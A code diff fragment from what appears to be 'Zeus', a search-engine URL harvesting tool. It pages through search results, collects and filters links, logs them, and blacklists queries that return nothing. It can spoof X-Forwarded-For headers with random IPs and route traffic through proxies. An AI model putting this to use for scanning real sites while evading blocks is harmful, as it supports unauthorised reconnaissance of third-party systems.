+    true_retval = set()
+    for url in list(retval):
+        if any(l in url for l in possible_leftovers):
+            url = URLParser(url).strip_url_leftovers()
+        if parse_webcache:
+            if "webcache" in url:
+                logger.info(set_color(
+                    "found a webcache URL, extracting"
+                ))
+                url = URLParser(url).extract_webcache_url()
+                if verbose:
+                    logger.debug(set_color(
+                        "found '{}'".format(url), level=15
+                    ))
+                true_retval.add(url)
+            else:
+                true_retval.add(url)
+        else:
+            true_retval.add(url)
+
+    if len(true_retval) != 0:
+        file_path = write_to_log_file(true_retval, URL_LOG_PATH, URL_FILENAME)
+        if show_success:
+            amount_of_urls = len(open(file_path).readlines())
+            success_rate = calculate_success(amount_of_urls)
+            logger.info(set_color(
+                "provided query has a {} success rate".format(success_rate)
+            ))
+    else:
+        logger.warning(set_color(
+            "did not find any URLs with given query '{}' writing query to blacklist".format(query), level=50
+        ))
+        write_to_log_file(query, BLACKLIST_FILE_PATH, BLACKLIST_FILENAME, blacklist=True)
+        
+    logger.info(set_color(
+        "found a total of {} URLs with given query '{}'".format(len(true_retval), query)
+    ))
+    
+
+
+def search_multiple_pages(query, link_amount, verbose=False, **kwargs):
+    """
+    search multiple pages for a lot of links, this will not be done via Google
+    """
+    proxy = kwargs.get("proxy", None)
+    agent = kwargs.get("agent", None)
+    xforward = kwargs.get("xforward", False)
+    batch = kwargs.get("batch", False)
+    show_success = kwargs.get("show_success", False)
+    attrib, desc = "a", "href"
+    retval = set()
+    search_engine = AUTHORIZED_SEARCH_ENGINES["search-results"]
+
+    logger.warning(set_color(
+        "searching multiple pages will not be done on Google".format(search_engine), level=30
+    ))
+
+    if not parse_blacklist(query, BLACKLIST_FILE_PATH, batch=batch):
+        shutdown()
+
+    if not xforward:
+        params = {
+            "Connection": "close",
+            "user-agent": agent
+        }
+    else:
+        ip_list = (create_random_ip(), create_random_ip(), create_random_ip())
+        params = {
+            "Connection": "close",
+            "user-agent": agent,
+            "X-Forwarded-For": "{}, {}, {}".format(ip_list[0], ip_list[1], ip_list[2])
+        }
+
+    page_number = 1
+    try:
+        while len(retval) <= link_amount:
+            if verbose:
+                logger.debug(set_color(
+                    "searching page number {}".format(page_number), level=10
+                ))
+            if page_number % 10 == 0:
+                logger.info(set_color(
+                    "currently on page {} of search results".format(
+                        page_number
+                    )
+                ))
+            page_request = requests.get(
+                search_engine.format(page_number, query, page_number), params=params,
+                proxies=proxy_string_to_dict(proxy)
+            )
+            if page_request.status_code == 200:
+                html_page = page_request.content
+                soup = BeautifulSoup(html_page, "html.parser")
+                if not NO_RESULTS_REGEX.findall(str(soup)):
+                    for link in soup.findAll(attrib):
+                        redirect = link.get(desc)
+                        if redirect is not None:
+                            if not any(ex in redirect for ex in URL_EXCLUDES):
+                                if URL_REGEX.match(redirect):
+                                    retval.add(redirect)
+                    if page_number < MAX_PAGE_NUMBER:
+                        page_number += 1
+                    else:
+                        logger.warning(set_color(
+                            "hit max page number {}".format(MAX_PAGE_NUMBER), level=30
+                        ))
+                        break
+                else:
+                    logger.warning(set_color(
+                        "no more results found for given query '{}'".format(query), level=30
+                    ))
+                    break
+    except KeyboardInterrupt:
+        logger.error(set_color(
+            "user aborted, dumping already found URL(s)", level=40
+        ))
+        write_to_log_file(retval, URL_LOG_PATH, URL_FILENAME)
+        logger.info(set_color(
+            "found a total of {} URL(s)".format(len(retval)), level=25
+        ))
+        shutdown()
+    except Exception as e:
+        logger.exception(set_color(
+            "Zeus ran into an unexpected error '{}'".format(e), level=50
+        ))
+        request_issue_creation()
+        shutdown()
+
+    if len(retval) > 0:
+        logger.info(set_color(
+            "a total of {} URL(s) found out of the requested {}".format(len(retval), link_amount), level=25
+        ))
+        file_path = write_to_log_file(retval, URL_LOG_PATH, URL_FILENAME)
+        if show_success:
+            amount_of_urls = len(open(file_path).readlines())
+            success_rate = calculate_success(amount_of_urls)
+            logger.info(set_color(
+                "provided query has a {} success rate".format(success_rate)
+            ))
+        return list(retval)
+    else:
+        logger.warning(set_color(
+            "did not find any links with given query '{}' writing to blacklist".format(query), level=30
+        ))
+        write_to_log_file(query, BLACKLIST_FILE_PATH, BLACKLIST_FILENAME)
--- a/Show more
+++ b/Show more